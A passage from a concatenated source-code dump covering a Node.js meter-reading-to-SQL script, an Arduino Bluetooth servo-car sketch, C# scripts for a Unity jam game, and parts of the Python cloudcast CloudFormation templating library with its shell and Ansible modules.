i+=2; //контрольную сумму пропустим
console.log('первый ответ', str.toString());
}
while((data[i] == 0x01) && (data[i+1] == 0x03))
{ // есть ответ чтения регистров
i+=2;j=0;
var len = data[i]; // количество регистров (байтов*2)
i++;
i+=2; //контрольную сумму пропустим
console.log('регистры читаем');
}
while((data[i] == 0x01) && (data[i+1] == 0x41))
{ // есть ответ архивов
i+=2;j=0;
var len = data[i];
i++;
while(len--)
{
str[j++] = data[i++];
}
i+=2; //контрольную сумму пропустим
console.log('архив получен');
}
if((data[i] == 0x09) && (data[i+1] == 0x0C))
{ // конец посылки - положительный ответ - закроем сокет
socket.end();
}
}
}
else if(func == 0x3e)
{
// что то от асев получили - закроем сокет
socket.end();
}
else if(func == 0x40)
{
// что то от асев получили - закроем сокет
socket.end();
}
});
socket.on('end',function(){
console.log('socket end');
// время предыдущего чтения
var last_read_time;
fs.readFile('time.txt', function (err, data) {
if (err) throw err;
console.log(data.toString());
last_read_time = new Date(Date.parse(data.toString()));
if(last_read_time < device.record_time)
{ // время предыдущего чтения меньше - значит есть новая архивная запись
last_read_time = device.record_time;
fs.writeFile('time.txt', device.record_time.toString(), function (err) {
if (err) throw err;
console.log('It\'s saved!');
});
// сокет закрыли данные есть - можно вносить в базу
var connection = new Connection(config);
connection.on('connect', function(err) {
// If no error, then good to go...
executeStatement(connection,device);
}
);
connection.on('debug', function(text) {
console.log(text);
}
);
};
});
});
socket.on('close',function(){
console.log('socket close');
});
socket.on('timeout',function(){
console.log('socket timeout');
});
socket.on('error',function(){
console.log('socket error');
});
});
};
function executeStatement(connection,device) {
var query = "INSERT INTO [dbo].[tsrv024] (name,time,W1,W2,M1,_m1,_m2,_m3,_m4,_v1,_v2,_v3,_v4) " +
"VALUES (@name, @time," +
"@W1,@W2,@M1," +
"@_m1,@_m2,@_m3,@_m4," +
"@_v1,@_v2,@_v3,@_v4);";
request = new Request(query,
function(err, rowCount) {
if (err) {
console.log(err);
} else {
console.log(rowCount + ' rows');
}
connection.close();
});
request.on('row', function(columns) {
columns.forEach(function(column) {
if (column.value === null) {
console.log('NULL');
} else {
console.log(column.value);
}
});
});
request.on('done', function(rowCount, more) {
console.log(rowCount + ' rows returned');
});
// поля в таблице SQL
{
request.addOutputParameter('name', TYPES.VarChar,device.name);
request.addOutputParameter('time', TYPES.SmallDateTime,device.record_time);
request.addOutputParameter('W1', TYPES.Real,device.W1);
request.addOutputParameter('W2', TYPES.Real,device.W2);
request.addOutputParameter('M1', TYPES.Real,device.M1);
request.addOutputParameter('_m1', TYPES.Real,device.m1);
request.addOutputParameter('_m2', TYPES.Real,device.m2);
request.addOutputParameter('_m3', TYPES.Real,device.m3);
request.addOutputParameter('_m4', TYPES.Real,device.m4);
request.addOutputParameter('_v1', TYPES.Real,device.v1);
request.addOutputParameter('_v2', TYPES.Real,device.v2);
request.addOutputParameter('_v3', TYPES.Real,device.v3);
request.addOutputParameter('_v4', TYPES.Real,device.v4);
}
connection.execSql(request);
};
send_request("192.168.3.11",3090,
preparation_request_tsrv24_archive,
parsing_response_tsrv24_archive,
saving_response_tsrv24_archive_sql,
{
hour_from: 0,
day_from: 1,
mounth_from: 4,
year_from: 13,
hour_to: 0,
day_to: 5,
mounth_to: 4,
year_to: 13
}
);
/*send_request("localhost",3000,
preparation_request_tsrv24_archive,
parsing_response_tsrv24_archive,
saving_response_tsrv24_archive_sql,
{
hour_from: 0,
day_from: 1,
mounth_from: 4,
year_from: 13,
hour_to: 0,
day_to: 5,
mounth_to: 4,
year_to: 13
}
);*/
/*setInterval(function()
{
sendspd(0x28,3090,READ_ARCH,TSRV024);
}
,60000);*/
// основное тело
//sendspd(0x3a,3090);
<file_sep>/**
* Created with JetBrains WebStorm.
* User: dimoniche
* Date: 29.04.13
* Time: 12:27
* To change this template use File | Settings | File Templates.
*/
| 7378557c84c17546bd654ecb9fe62c930184290a | [
"JavaScript"
] | 2 | JavaScript | dimoniche/server | d6839093ddac4e5b5b4ffc2dd526f768775478ee | d2d355f87f51b3934fc62254ed6656d63df05048 |
refs/heads/master | <repo_name>albertogomez123/futbol-laboratorio2<file_sep>/futbol/futbol.ino
#include<Servo.h> //<NAME>,<NAME>
#define pinservo 9
#define PINSERVO 13
Servo motorderecho;
Servo motorizquierdo;
int estado = '0';
void setup() {
motorderecho.attach(pinservo);
motorizquierdo.attach(PINSERVO);
motorderecho.write(90); //Motor en stop
motorizquierdo.write(90); //Motor en stop
Serial.begin(9600);
}
void loop() {
if (Serial.available() > 0) { // lee el bluetooth y almacena en estado
estado = Serial.read();
Serial.println(estado);
}
if(estado == 'S'){
motorderecho.write(90); //Motor en stop
motorizquierdo.write(90); //Motor en stop
}
else{
if (estado == 'w') //ADELANTE
{
motorderecho.write(0);
motorizquierdo.write(180);
}
if (estado == 's') //ATRAS
{
motorderecho.write(180);
motorizquierdo.write(0);
}
if (estado == 'd') //DERECHA
{
motorderecho.write(180);
motorizquierdo.write(180);
}
if (estado == 'a') //izquierda
{
motorderecho.write(0);
motorizquierdo.write(0);
}
if(estado== '1')
{
motorderecho.write(90);
motorizquierdo.write(90);
}
}
}
| c1f414ba44672d0c74a766e49c6b2e5f2fcb4c80 | [
"C++"
] | 1 | C++ | albertogomez123/futbol-laboratorio2 | 4122ba8f463bc030b4719aed1b31a41fbcb9e3ae | 4810bf51e0bf6d6b94e351afa233d63723b32dbc |
refs/heads/main | <repo_name>SamPatriquin/GiftJam_2020<file_sep>/GiftJam_2020_Project/Assets/Scripts/Score.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Score : MonoBehaviour
{
public int value { get; private set; } = 0;
public event Action<int> OnScoreIncrease;
public void IncreaseScore(int _value) {
value += _value;
OnScoreIncrease?.Invoke(this.value);
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/UpDownObstacle.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UpDownObstacle : MonoBehaviour, IObstacle
{
[SerializeField] private float amp = 5f;
public Vector2 spawnedAt { get; set; } = Vector2.zero;
private float periodInSec;
private float cycle;
private float startingPosY;
private Transform playerTransform;
private ObjectPool pool;
private void Awake() {
periodInSec = Random.Range(1.5f, 4f);
cycle = (Mathf.PI * 2) / periodInSec;
PlayerMovementController player = FindObjectOfType<PlayerMovementController>();
if (player != null) { playerTransform = player.transform; }
pool = FindObjectOfType<ObjectPool>();
if (pool == null) { return; }
}
void Update(){
float offset = Mathf.Sin(cycle * Time.time) * amp;
this.transform.position = new Vector2(this.transform.position.x, offset);
if (this.transform.position.magnitude - playerTransform.position.magnitude <= -10) { pool.ReturnObject(this.gameObject); }
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/LevelGenerator.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class LevelGenerator : MonoBehaviour {
[Header("Bubbles")]
[SerializeField] private GameObject bubblePrefab;
[Header("Coins")]
[SerializeField] private GameObject coinPrefab;
[SerializeField] private CoinFormation[] coinFormations;
[Header("Obstacles")]
[SerializeField] private GameObject[] obstaclePrefabs;
[Header("General Settings")]
[SerializeField] private ObjectPool pool;
[SerializeField] private float spawnAhead = 20f;
[SerializeField] private float maxHeight;
[SerializeField] private float minSpawnDist;
[SerializeField] private float maxSpawnDist;
private Transform playerTransform;
private Vector2 lastBubbleSpawnPos;
private void Awake() {
lastBubbleSpawnPos = SpawnBubble(Vector2.zero);
PlayerMovementController player = FindObjectOfType<PlayerMovementController>();
if (player != null) { playerTransform = player.transform; }
}
private void Update() {
if (lastBubbleSpawnPos.x <= playerTransform.position.x + spawnAhead) {
lastBubbleSpawnPos = SpawnBubble(new Vector2(lastBubbleSpawnPos.x + Random.Range(minSpawnDist, maxSpawnDist), Random.Range(-maxHeight, maxHeight)));
SpawnCoinFormation(new Vector2(lastBubbleSpawnPos.x + Random.Range(minSpawnDist, maxSpawnDist) / 2, Random.Range(-maxHeight/2, maxHeight/2)));
SpawnObstacle(new Vector2(lastBubbleSpawnPos.x + Random.Range(minSpawnDist, maxSpawnDist) / 2, Random.Range(-maxHeight / 2, maxHeight / 2)));
}
}
private Vector2 SpawnBubble(Vector2 spawnAt) {
GameObject bubble = pool.GetObject(bubblePrefab);
bubble.transform.position = spawnAt;
return bubble.transform.position;
}
private void SpawnCoinFormation(Vector2 spawnAt) {
CoinFormation formation = coinFormations[Random.Range(0, coinFormations.Length)];
foreach (Vector2 pos in formation.coinPositons) {
GameObject coin = pool.GetObject(coinPrefab);
coin.transform.position = spawnAt + pos;
}
}
private void SpawnObstacle(Vector2 spawnAt) {
GameObject obstacle = pool.GetObject(obstaclePrefabs[Random.Range(0, obstaclePrefabs.Length)]);
obstacle.transform.position = spawnAt;
IObstacle _obstacle = obstacle.GetComponent<IObstacle>();
_obstacle.spawnedAt = spawnAt;
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/GameManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class GameManager : MonoBehaviour {
private AudioManager audioManager;
private void Start() { //Preload
audioManager = FindObjectOfType<AudioManager>();
audioManager.PlaySound("mainTheme", this.gameObject);
SceneManager.LoadScene(1);
}
private void Update() {
}
public void StartGame() {
SceneManager.LoadScene(2);
}
public void GameOver() {
SceneManager.LoadScene(2);
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/OnPlayerWithBubble.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class OnPlayerWithBubble : MonoBehaviour {
public Bubble currentBubble { get; private set; }
public bool isPlayerInBubble { get; set; } = false;
private Rigidbody2D playerRigidBody;
private AudioManager audioManager;
private void Awake() {
playerRigidBody = GetComponent<Rigidbody2D>();
audioManager = FindObjectOfType<AudioManager>();
}
private void Update() {
if (isPlayerInBubble) {
this.transform.position = Vector2.Lerp(this.transform.position, currentBubble.transform.position, 5f * Time.deltaTime);
}
}
private void OnTriggerEnter2D(Collider2D collision) {
if (collision.gameObject.GetComponent<Bubble>()) {
isPlayerInBubble = true;
audioManager.StopSound("spinning", this.gameObject);
currentBubble = collision.gameObject.GetComponent<Bubble>();
playerRigidBody.velocity = Vector2.zero;
playerRigidBody.isKinematic = true;
}
}
private void OnTriggerExit2D(Collider2D collision) {
if (collision.gameObject.GetComponent<Bubble>()) {
isPlayerInBubble = false;
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/ProjectilePathController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ProjectilePathController : MonoBehaviour
{
[SerializeField] int numPoints = 5;
[SerializeField] float distBetweenPoints = 5f;
[SerializeField] Sprite pointSprite;
private PlayerMovementController parentMovementController;
private ProjectilePathComponent projectilePath;
private void Awake() {
projectilePath = new ProjectilePathComponent(numPoints, distBetweenPoints, pointSprite, this.transform);
parentMovementController = GetComponentInParent<PlayerMovementController>();
}
private void FixedUpdate() {
if (parentMovementController.isBubbleLaunch || parentMovementController.isSecondLaunch) {
projectilePath.CalculateProjectilePathPoints(this.transform.position, parentMovementController.launchVelocity);
projectilePath.RenderProjectilePath();
} else {
projectilePath.StopRenderProjectilePath();
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/Sound.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class Sound {
[SerializeField] public AudioClip clip;
[SerializeField] [Range(0.0f, 1.0f)] public float volume = 0f;
[SerializeField] public bool isLoop = false;
public AudioSource source;
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/Coin.cs
using System;
using UnityEngine;
public class Coin : MonoBehaviour {
[SerializeField] private int value;
private Score score;
private ObjectPool pool;
private Transform playerTransform;
private AudioManager audioManager;
private void Awake() {
score = FindObjectOfType<Score>();
if (score == null) { Debug.LogError("coin unable to find a reference to Score"); }
PlayerMovementController player = FindObjectOfType<PlayerMovementController>();
if (player != null) { playerTransform = player.transform; }
pool = FindObjectOfType<ObjectPool>();
if (pool == null) { return; }
audioManager = FindObjectOfType<AudioManager>();
}
private void Update() {
if (this.transform.position.magnitude - playerTransform.position.magnitude <= -10) { pool.ReturnObject(this.gameObject); }
}
private void OnTriggerEnter2D(Collider2D collision) {
if (collision.GetComponent<PlayerMovementController>()) {
score.IncreaseScore(this.value);
audioManager.PlayOneShotSound("pearlPickup", this.gameObject);
pool.ReturnObject(this.gameObject);
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/AudioManager.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class AudioManager : MonoBehaviour
{
[SerializeField] private Sound[] sounds;
private Dictionary<string, Sound> soundDict = new Dictionary<string, Sound>();
public string currentMusic { get; set; }
private void Awake() {
foreach (Sound sound in sounds) {
sound.source = this.gameObject.AddComponent<AudioSource>();
sound.source.clip = sound.clip;
sound.source.volume = sound.volume;
sound.source.loop = sound.isLoop;
soundDict.Add(sound.clip.name, sound);
}
}
public void PlaySound(string name, GameObject caller) {
try {
AudioSource source = soundDict[name].source;
soundDict[name].source.Play();
}
catch { Debug.LogError("AudioManager does not reference a clip with name: " + name + ", called by: " + caller); }
}
public void PlaySoundLoop(string name, GameObject caller) {
try {
AudioSource source = soundDict[name].source;
source.loop = true;
source.Play();
}
catch { Debug.LogError("AudioManager does not reference a clip with name: " + name + ", called by: " + caller); }
}
public void PlayOneShotSound(string name, GameObject caller) {
try {
AudioSource source = soundDict[name].source;
source.PlayOneShot(soundDict[name].source.clip);
}
catch { Debug.LogError("AudioManager does not reference a clip with name: " + name + ", called by: " + caller); }
}
public void StopSound(string name, GameObject caller) {
try {
AudioSource source = soundDict[name].source;
source.Stop();
}
catch { Debug.LogError("AudioManager does not reference a clip with name: " + name + ", called by: " + caller); }
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/ScoreUIDisplay.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using TMPro;
using UnityEngine.UI;
public class ScoreUIDisplay : MonoBehaviour {
[SerializeField] Score score;
private TMP_Text text;
private Animator pearlAnimator;
private int animatorPearlGrow = Animator.StringToHash("grow");
private void Awake() {
text = this.GetComponentInChildren<TMP_Text>();
pearlAnimator = this.GetComponentInChildren<Animator>(); //BAD, change this
text.text = "0";
score.OnScoreIncrease += IncreaseScore;
}
private void IncreaseScore(int score) {
text.text = score.ToString();
pearlAnimator.SetTrigger(animatorPearlGrow);
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/ObjectPool.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ObjectPool : MonoBehaviour
{
private Dictionary<string, Queue<GameObject>> pool = new Dictionary<string, Queue<GameObject>>();
public GameObject GetObject(GameObject gameObject) {
if (pool.TryGetValue(gameObject.name, out Queue<GameObject> objQueue)){
if (objQueue.Count == 0) {
return CreateObject(gameObject);
} else {
GameObject obj = objQueue.Dequeue();
obj.SetActive(true);
return obj;
}
} else {
return CreateObject(gameObject);
}
}
public void ReturnObject(GameObject gameObject) {
if (pool.TryGetValue(gameObject.name, out Queue<GameObject> objQueue)){
objQueue.Enqueue(gameObject);
gameObject.SetActive(false);
} else {
Queue<GameObject> newQueue = new Queue<GameObject>();
newQueue.Enqueue(gameObject);
pool.Add(gameObject.name, newQueue);
gameObject.SetActive(false);
}
}
private GameObject CreateObject(GameObject gameObject) {
GameObject newObj = Instantiate(gameObject);
newObj.name = gameObject.name;
newObj.transform.parent = this.transform;
return newObj;
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/PlayerMovementController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerMovementController : MonoBehaviour
{
[SerializeField] private float secondJumpMult = 2f;
public Vector2 launchVelocity { get; private set; }
public bool isBubbleLaunch { get; private set; } = false;
public bool isSecondLaunch { get; private set; } = false;
private Rigidbody2D playerRigidBody;
private Collider2D playerCollider;
private Transform playerTransform;
private OnPlayerWithBubble onPlayerWithBubble;
private Animator animator;
private AudioManager audioManager;
private int animatorIsLaunched = Animator.StringToHash("isLaunched");
private bool isMoveReleased = false;
private bool isSecondLaunchAvailable = false;
private float clampMouseVector = 3f;
private Vector2 mousePos;
private void Awake() {
playerRigidBody = GetComponent<Rigidbody2D>();
playerCollider = GetComponent<Collider2D>();
playerTransform = GetComponent<Transform>();
onPlayerWithBubble = GetComponent<OnPlayerWithBubble>();
animator = GetComponent<Animator>();
audioManager = FindObjectOfType<AudioManager>();
}
private void FixedUpdate() {
if (isBubbleLaunch || isSecondLaunch) {
launchVelocity = Vector2.ClampMagnitude(((Vector2)this.transform.position - mousePos), clampMouseVector) * onPlayerWithBubble.currentBubble.launchMultiplier * Time.deltaTime;
if (isSecondLaunch) {
playerRigidBody.velocity = new Vector2(0f, 0f);
}
}
if (isMoveReleased) {
audioManager.PlaySoundLoop("spinning", this.gameObject);
playerRigidBody.isKinematic = false;
playerRigidBody.velocity = launchVelocity;
isMoveReleased = false;
if (isSecondLaunch) {
isSecondLaunchAvailable = false;
isSecondLaunch = false;
} else if (isBubbleLaunch) {
isBubbleLaunch = false;
}
}
}
private void Update() {
mousePos = Camera.main.ScreenToWorldPoint(Input.mousePosition);
if (onPlayerWithBubble.isPlayerInBubble) {
isSecondLaunchAvailable = true;
animator.SetBool(animatorIsLaunched, false);
}
if (Input.GetMouseButtonDown(0)) {
isBubbleLaunch = playerCollider.OverlapPoint(mousePos) && onPlayerWithBubble.isPlayerInBubble;
isSecondLaunch = playerCollider.OverlapPoint(mousePos) && onPlayerWithBubble.isPlayerInBubble == false && isSecondLaunchAvailable;
}
if ((isBubbleLaunch || isSecondLaunch) && Input.GetMouseButtonUp(0)) {
isMoveReleased = true;
onPlayerWithBubble.isPlayerInBubble = false;
animator.SetBool(animatorIsLaunched, true);
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/CameraFollow.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CameraFollow : MonoBehaviour
{
[SerializeField] Transform target;
[SerializeField] float xOffset;
[SerializeField] float cameraSmoothing= 0.5f;
private void FixedUpdate() {
float xPos = Mathf.Lerp(this.transform.position.x, target.transform.position.x + xOffset, cameraSmoothing * Time.deltaTime);
this.transform.position = new Vector3(xPos, this.transform.position.y, this.transform.position.z);
}
}
<file_sep>/README.md
# GiftJam_2020
For GiftJam_2020 https://itch.io/jam/gift-jam-2020
Copyright 2021 <NAME>
<file_sep>/GiftJam_2020_Project/Assets/Scripts/OnPlayerWithObstacle.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class OnPlayerWithObstacle : MonoBehaviour
{
private void OnTriggerEnter2D(Collider2D collision) {
if (collision.GetComponent<IObstacle>() != null) {
FindObjectOfType<GameManager>().GameOver();
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/ScriptableObjects/CoinFormation.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[CreateAssetMenu(menuName = "Coin Formation")]
public class CoinFormation : ScriptableObject
{
public List<Vector2> coinPositons;
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/ProjectilePathComponent.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ProjectilePathComponent
{
public GameObject[] points { get; private set; }
private float distPoints;
public ProjectilePathComponent(int numPoints, float _disPoints, Sprite _pointSprite, Transform parent) {
distPoints = _disPoints;
points = new GameObject[numPoints];
for (int i = 0; i < points.Length; ++i) {
points[i] = new GameObject("point" + i, typeof(SpriteRenderer));
points[i].transform.SetParent(parent);
points[i].GetComponent<SpriteRenderer>().sprite = _pointSprite;
}
}
public void CalculateProjectilePathPoints(Vector2 startingPos, Vector2 velocity) {
for (int i = 0; i < points.Length; ++i) {
float time = distPoints * i;
points[i].transform.position = startingPos + (velocity * time) + (0.5f * Physics2D.gravity * Mathf.Pow(time, 2));
}
}
public void RenderProjectilePath() {
foreach(GameObject point in points) {
point.SetActive(true);
}
}
public void StopRenderProjectilePath() {
foreach (GameObject point in points) {
point.SetActive(false);
}
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/FollowingObstacle.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class FollowingObstacle: MonoBehaviour, IObstacle
{
[SerializeField] Transform target;
public Vector2 spawnedAt { get; set; } = Vector2.zero;
private void FixedUpdate() {
this.transform.position = new Vector3(target.position.x, target.position.y, this.transform.position.z);
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/Interfaces/IObstacle.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
interface IObstacle{
public Vector2 spawnedAt { get; set; }
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/Parallax.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Parallax : MonoBehaviour {
[SerializeField] private float parallaxEffect;
[SerializeField] private Camera cam;
private float startPosX, length;
private void Awake() {
length = GetComponent<SpriteRenderer>().bounds.size.x;
startPosX = this.transform.position.x;
}
private void Update() {
float distX = (cam.transform.position.x * parallaxEffect);
float distXCam = (cam.transform.position.x * (1 - parallaxEffect));
if (distXCam > startPosX + length) { startPosX += length; }
else if (distXCam < startPosX - length) { startPosX -= length; }
transform.position = new Vector2(startPosX + distX, this.transform.position.y);
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/CircleMovementObstacle.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class CircleMovementObstacle : MonoBehaviour, IObstacle
{
public Vector2 spawnedAt { get; set; } = Vector2.zero;
private float radius = 1f;
private float periodInSec = 1f;
private float cycle;
private Transform playerTransform;
private ObjectPool pool;
private void Awake() {
PlayerMovementController player = FindObjectOfType<PlayerMovementController>();
if (player != null) { playerTransform = player.transform; }
pool = FindObjectOfType<ObjectPool>();
if (pool == null) { return; }
radius = Random.Range(.5f, 1.5f);
periodInSec = Random.Range(2f, 3f);
cycle = (Mathf.PI * 2) / periodInSec;
}
private void onEnable() {
radius = Random.Range(.5f, 1.5f);
periodInSec = Random.Range(2f, 3f);
cycle = (Mathf.PI * 2) / periodInSec;
}
void Update(){
float xOffset = Mathf.Cos(cycle * Time.time) * radius;
float yOffset = Mathf.Sin(cycle * Time.time) * radius;
this.transform.position = new Vector2(spawnedAt.x + xOffset, spawnedAt.y + yOffset);
if (this.transform.position.magnitude - playerTransform.position.magnitude <= -10) { pool.ReturnObject(this.gameObject); }
}
}
<file_sep>/GiftJam_2020_Project/Assets/Scripts/Bubble.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Bubble : MonoBehaviour
{
[SerializeField] private float _launchMultiplier = 5f;
private AudioManager audioManager;
private ObjectPool pool;
private Transform playerTransform;
public float launchMultiplier {
get { return _launchMultiplier; }
}
private void Awake() {
PlayerMovementController player = FindObjectOfType<PlayerMovementController>();
audioManager = FindObjectOfType<AudioManager>();
if (player != null) { playerTransform = player.transform; }
pool = FindObjectOfType<ObjectPool>();
if (pool == null) { return; }
}
private void Update() {
if (this.transform.position.magnitude - playerTransform.position.magnitude <= -10) { pool.ReturnObject(this.gameObject); }
}
private void OnTriggerExit2D(Collider2D collision) {
if (collision.GetComponent<PlayerMovementController>()) {
audioManager.PlayOneShotSound("bubble", this.gameObject);
pool.ReturnObject(this.gameObject);
}
}
}
| b3a2e131720632c62fdf0db4cb75f3bab86241c8 | [
"Markdown",
"C#"
] | 22 | C# | SamPatriquin/GiftJam_2020 | 378939b2eea8755eb33c79a6d37aa3378928bc31 | 7d0f7b586c1fc22c1e11d13d0f5c45a99c98b2b2 |
refs/heads/master | <repo_name>tuxpiper/cloudcast<file_sep>/cloudcast/iscm/shell.py
#!/usr/bin/env python
import os.path
from cloudcast._utils import caller_folder, search_file
from cloudcast.template import AWS, Resource
_shellinit_file = os.path.join(os.path.dirname(__file__), "scripts", "init.sh")
class Shell(object):
"""
Configure an instance using shell scripts
"""
def __init__(self, scripts=None, **kwargs):
if kwargs.has_key("shell_vars"):
self.shell_vars = kwargs["shell_vars"]
else:
self.shell_vars = {}
#
if kwargs.has_key("name"):
self.name = kwargs["name"]
else:
self.name = None
#
if not kwargs.has_key("script_paths"):
self.script_paths = [ caller_folder(), os.getcwd() ]
#
# Add user provided scripts
self.init_scripts = [ Shell.runScript(_shellinit_file) ]
if kwargs.has_key("init_scripts"):
self.init_scripts += kwargs["init_scripts"]
self.scripts = []
if scripts is not None:
self.scripts = scripts
def install(self, iscm):
# This iscm module uses the cfn-init module to deploy and execute
# its payload. If it's not installed we shall fail
if not hasattr(iscm, "iscm_cfninit_add_config"):
raise RuntimeError("The Shell ISCM module depends on the CfnInit module to be installed in the same chain")
def _load_scripts(self, script_list, script_content=None):
# Concatenate scripts contents
if script_content is None:
script_content = ""
for script in script_list:
if script['type'] == "file":
script_path = search_file(script['path'], *self.script_paths)
if script_path is None:
raise RuntimeError("Unable to find script in path %s" % script['path'])
with open(script_path, "r") as f:
data = f.read()
# Ensure trailing new line
if data[-1] != "\n": data += "\n"
script_content += data
else:
raise RuntimeError("Unhandled script type: %s" % script['type'])
return script_content
def deploy(self, iscm):
# If no name has been given for this shell iscm, assign one sequentially
if self.name is None:
last_anonymous_k = iscm.iscm_get_var("shell_iscm::last_anonymous_k")
if last_anonymous_k is None:
last_anonymous_k = 0
last_anonymous_k += 1
self.name = "shell_%d" % last_anonymous_k
iscm.iscm_set_var("shell_iscm::last_anonymous_k", last_anonymous_k)
# Create a metadata entry that holds the relationship between variable names and their values
if self.shell_vars:
shell_vars_md_entry = "shell_iscm.instances.%s" % self.name
self.shell_vars = iscm.context_lookup(self.shell_vars) # resolve references to iscm context
iscm.iscm_md_update_dict(shell_vars_md_entry, { "vars": self.shell_vars })
shell_vars_md_entry += ".vars"
else:
shell_vars_md_entry = ""
# Create script file with all initialization scripts code
init_script_path = "/root/shell-iscm/init-%s.sh" % self.name
init_script_content = self._load_scripts(self.init_scripts)
# Collect all scripts' code, starting with the shebang and processing the init scripts
script_content = \
'#!/bin/bash\n' + \
'. %s\n' % init_script_path
script_content = self._load_scripts(self.scripts, script_content)
# Add cfn-init config to write and execute the user specified scripts
stack_user_key = iscm.iscm_cfninit_get_stack_user_key()
shell_config = {
"files": {
init_script_path : {
"content": {
"Fn::Join" : ["", [
'export AWS__STACK_NAME="', AWS.StackName ,'" ',
'AWS__STACKEL_NAME="', Resource.ThisName() , '" ',
'AWS__BOOTSTRAP_KEY_ID="', stack_user_key , '" ',
'AWS__BOOTSTRAP_SECRET_KEY="', stack_user_key["SecretAccessKey"] , r'" ',
'AWS__REGION="', AWS.Region , '"\n\n',
'SHELL_ISCM_NAME="%s"\n' % self.name,
'SHELL_ISCM_METADATA_VARS_KEY="%s"\n' % shell_vars_md_entry,
'SHELL_ISCM_INIT_SCRIPT="%s"\n' % init_script_path,
init_script_content
] ]
},
"mode": "000700",
"owner": "root",
"group": "root"
},
"/root/shell-iscm/%s.sh" % self.name: {
"content": script_content,
"mode": "000700",
"owner": "root",
"group": "root"
}
},
"commands": {
"runit": {
"command": "/root/shell-iscm/%s.sh 2>&1 | tee -a /iscm-shell.log" % self.name
}
}
}
iscm.iscm_cfninit_add_config(shell_config)
@classmethod
def runScript(cls, path):
return { "type": "file", "path": path }<file_sep>/tests/template2.rsc.py
'''
Test/sample cloudcast template
@author: <NAME> <<EMAIL>>
'''
from cloudcast.template import *
from cloudcast.library import stack_user
from _context import stack
from cloudcast.iscm.ansible import AnsibleISCM
keyName = "david"
TrustyAMIs = Mapping({
"us-east-1" : { "ebs": "ami-64e27e0c", "ebsssd": "ami-74e27e1c" },
"us-west-2" : { "ebs": "ami-978dd9a7", "ebsssd": "ami-818dd9b1" }
})
SQSQueue1 = Resource("AWS::SQS::Queue")
SQSQueue2 = Resource("AWS::SQS::Queue")
AnInstance = EC2Instance(
ImageId = TrustyAMIs.find(AWS.Region, "ebs"),
InstanceType = stack.env['instance_type'],
KeyName = keyName,
iscm = AnsibleISCM(
config= dict(
inst_home= "/home/ubuntu",
inst_user= "ubuntu",
inst_group= "ubuntu",
inst_playbook_dir= "playbooks"
),
facts= dict(
queue1_name= SQSQueue1['QueueName'],
queue2_name= SQSQueue2['QueueName'],
environment= "production"
),
playbooks_source= "ansible",
stack_user_key= stack_user.CloudFormationStackUserKey,
runs= dict(
build= dict(
playbook= "playbook.yaml",
sudo= True,
tags= [ "build" ],
),
boot= dict(
playbook= "playbook.yaml",
extra_vars= dict(
somevar= "value"
),
sudo= True,
tags= [ "boot" ],
)
)
)
)
<file_sep>/tests/tests.py
from cloudcast import Stack
stack1 = Stack(
description = "Sample stack that doesn't do much",
env = {
"instance_type": "c3.large"
},
resources_file = "template1.rsc.py"
)
print stack1.dump_json()
stack2 = Stack(
description = "Sample stack with embedded ansible",
env = {
"instance_type": "m1.small"
},
resources_file = "template2.rsc.py"
)
print stack2.dump_json()
<file_sep>/cloudcast/iscm/__init__.py
#!/usr/bin/python
import string
from cloudcast.template import join as cfnjoin
class ISCM(object):
"""
Instance Software Configuration Management, this class helps us to
configure software in an instance. ISCM achieves this aim by
providing a kernel of functionality, that specialized ISCM modules
can use in order to install, configure themselves and perform
their duty on boot.
All the ISCM operations here are pretty simple, and generally
limited to the scope of what can be done solely within
CloudFormation.
"""
def __init__(self, context=None, processors=None, modules=None):
self.userdata_elems = []
self.metadata = {}
# Flags and heap are temporary storage for the ISCM extensions,
# their contents are not reflected in the CloudFormation template
self.flags = {} # boolean only, false by default
self.heap = {} # any value, None by default
# Notify this waitconditionhandle when the ISCM finishes executing:
self.wc_handle = None
# Load the context
if context is None: context = {}
self.context = context
# Install the processors
if processors is None: processors = []
self.processors = processors
for proc in self.processors:
proc.install(self)
# Install the specified modules
if modules is None: modules = []
for mod in modules:
mod.install(self)
# Deploy each module into this iscm, so necessary changes to the
# processors are performed
for mod in modules:
mod.deploy(self)
# Deploy each processor, in reverse order so changes trickle down
# to the base later processor
